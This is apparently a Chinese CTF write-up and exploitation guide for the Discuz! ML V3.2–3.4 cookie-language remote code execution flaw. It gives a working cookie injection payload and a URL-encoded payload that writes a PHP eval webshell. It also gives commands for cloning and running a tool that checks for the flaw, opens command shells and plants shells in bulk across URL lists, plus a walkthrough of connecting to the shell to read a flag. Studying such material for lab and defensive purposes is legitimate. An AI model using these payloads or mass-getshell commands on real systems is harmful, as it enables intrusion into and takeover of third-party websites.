Discuz ML RCE漏洞
1、漏洞描述
Discuz国际版漏洞存在于cookie的language可控并且没有严格过滤,导致可以远程代码执行。
2、产生原因:Discuz!ML 系统对cookie中的l接收的language参数内容未过滤,导致字符串拼接,从而执行php代码。
3、影响版本:
Discuz! ML V3.2
Discuz! ML V3.3
Discuz! ML V3.4
4、利用exp,进行上传一句话木马
1.cookie字段中会出现xxxx_xxxx_language字段,根本原因就是这个字段存在注入,导致的RCE
2.抓包找到cookie的language的值修改为xxxx_xxxx_language=sc'.phpinfo().'
3.getshell 的payload: ’.file_put_contents(‘shell.php’,urldecode(’<?php eval($_POST["cmd"]);?>’)).',url编码后的形式是
%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27
所以我们可以考虑使用bur抓包改包,上传一句话木马,get shell
5、利用dz-ml-rce.py工具进行分析。本工具支持单url和批量检测,有判断模式(只判断有无该漏洞)、cmdshell模式(返回简单的cmd shell)和getshell模式(写入一句话木马)。
6、如何下载dz-ml-rce.py工具
在python2.7的环境中安装,安装命令如下:
git clone https://github.com/theLSA/discuz-ml-rce.git
pip -r requirements.txt
7、如何使用dz-ml-rce.py工具
使用时加上漏洞PHP页面(如forum.php,portal.php),直接写域名可能会重定向导致误报。
使用帮助:python dz-ml-rce.py -h
判断模式:python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"
cmdshell模式:python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell
getshell模式:python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell
批量检测:python dz-ml-rce.py -f urls.txt
批量getshell:python dz-ml-rce.py -f urls.txt --getshell
8、实战分析:
当我们进入这个网址后,可以发现它的cms类型是Discuz! X3.2,这是一个比较老的版本,我们可以去乌云,0组查看相关思路文章,发现比较少

于是我们去百度中搜索这个Discuz! X3.2的漏洞可以get shell,所以这道题目考察的一定是cms的漏洞
而我们去网上查的话,有很多的漏洞,比如构建的请求报文,请求报文中含有恶意的PHP代码,任意删除文件,代码注入漏洞等多种漏洞
本网站我所利用的是构建的请求报文,请求报文中含有恶意的PHP代码这一漏洞,也就是Discuz ML RCE漏洞,后面又一篇文章专门写此漏洞
所以我们可以知道它存在cms漏洞:Discuz! X3.2 漏洞 中的 构建的请求报文(恶意的PHP代码,一句话木马)漏洞
所以这个题我们可以考虑使用bur抓包改包,上传一句话木马,get shell
我们对bur进行抓包:
抓包后我们可以发现在cookie字段中有xxxx_xxxx_language字段,所以我们对其进行改包
先看phpinfo文件,看是否存在相关漏洞(验证)

发现存在相关漏洞,所以我们直接上传一句话木马,构造的形式如下:
%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

我们直接在网页上查看shell.php文件,看是否可以正常显示

我们使用蚁剑进行连接

连接成功:

最终我们就可以发现flag的文件,也就是此题的答案


flag就在其中,打开之后就是答案,也就是flag,flag{49c883689da71363809d64b8b48679ba}
此题完成
Discuz ML RCE漏洞的更多相关文章
- Discuz! ML RCE漏洞 getshell 复现
0x01 影响版本 Discuz! ML V3.2 Discuz! ML V3.3 Discuz! ML V3.4 0x02 环境搭建 直接官网下载即可http://discuz.ml/downloa ...
- Discuz ML! V3.X 代码注入漏洞
Discuz ML! V3.X 代码注入漏洞 前言 Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像"社交网络"这样的互 ...
- Discuz! ML远程代码执行(CVE-2019-13956)
Discuz! ML远程代码执行(CVE-2019-13956) 一.漏洞描述 该漏洞存在discuz ml(多国语言版)中,cookie中的language可控并且没有严格过滤,导致可以远程代码执行 ...
- ThinkPHP-5.0.23新的RCE漏洞测试和POC
TP5新RCE漏洞 昨天又是周五,讨厌周五曝漏洞,还得又得加班,算了,还是先验证一波.新的TP5RCE,据说发现者因为上次的RCE,于是又审计了代码,结果发现的.TP5也成了万人轮啊. 测试 环境搭建 ...
- GitStack系统RCE漏洞学习
漏洞简介 漏洞简情 漏洞程序 GitStack 影响版本 <=2.3.10 漏洞类型 RCE 漏洞评价 高危 漏洞编号 CVE-2018-5955 漏洞程序介绍 GitStack是一款基于Pyt ...
- Zimbra无需登录RCE漏洞利用
2019年3月13号,一名国外的安全研究员在他的博客上公布了zimbra RCE漏洞相关信息,但其中并未提到一些漏洞利用细节. 经过一段时间努力,根据网上各位大牛的分析和我自己的理解,在此我将整个漏洞 ...
- WordPress插件Social Warfare<=3.5.2 无需登录RCE漏洞
该漏洞只存在于Social Warfare插进的3.5.0.3.5.1和3.5.2版本中,其他版本不存在. 2019年3月21日插件作者紧急发布了3.5.3版本以修复高危的RCE漏洞,在<=3. ...
- Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现
Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...
- Apache Solr Velocity模板注入RCE漏洞复现
Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...
随机推荐
- 【LeetCode每日一题 Day 1】1. 两数之和
大家好,我是编程熊,今天是LeetCode每日一题的第一天,今天的你比昨天更加优秀啦! 题意 给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target ...
- sys用户权限不足,本地登录失败 |ORA-01031 insufficient privileges|
机器总喜欢挑放假的时候出问题,"双节"(中秋.国庆)快到了,对于搞系统运维的工程师来说其实并不轻松,于是今天赶紧装起一台数据库备用服务器以备半夜"机"叫. 安装 ...
- Flask(1)- 简介
背景 为啥要学,很久之前就学过点,没写文章 最近因为要写机器人工具,其实就是简单的纯服务端工具 反正 flask 也挺简单,一天快速过完 概念会直接搬教程的,实操自己敲一遍再总结 参考教程 https ...
- shell 中()、[]、{}、(())、[[]]等各种括号的使用
11 shell中内置关键字[[]]:检查条件是否成立 1.小括号.圆括号() 1.1 单小括号() 用途 命令组 括号中的命令将会新开一个子shell顺序执行,所以括号中的变量不能够被脚本余 ...
- leetcode 面试题 17.22. 单词转换(DFS+回溯)
题目描述 思路分析 这题回溯,先想出它的空间解是什么,这里空间解,其实就是给的原字符串到结束字符串中间的变形过程,那么就可以容易的画出一个解空间树,用深度搜索进行搜索, 剪枝后,进入下一个维度,再进行 ...
- Docker部署Redis集群(主从复制 高可用)
环境 vmware12+centos7 关于环境安装可以参考我的另一篇博客 https://www.cnblogs.com/pengboke/p/13063168.html 1.清理环境 我这里用的虚 ...
- Python单元测试框架unittest之批量用例管理(discover)
前言 我们在写用例的时候,单个脚本的用例好执行,那么多个脚本的时候,如何批量执行呢?这时候就需要用到unittet里面的discover方法来加载用例了.加载用例后,用unittest里面的TextT ...
- Luogu P2051「AHOI2009」中国象棋
看见第一眼觉得是状压 \(\text{DP}\)?观察数据范围发现不可做 那按照最常规思路设状态试试? 设状态为\(dp[i][j]\)表示\(i*j\)的棋盘的方案数 好像转移不了欸 要不再来一维? ...
- C语言:例子
#include <stdio.h> int main() { char bla=getchar(); bla=putchar(bla); putchar('\n'); int blb=s ...
- python pip install matplotlib安装模块
python pip install matplotlib安装模块,可附带安装相关的模块 程序运行提示: from . import _imaging as coreImportError: DLL ...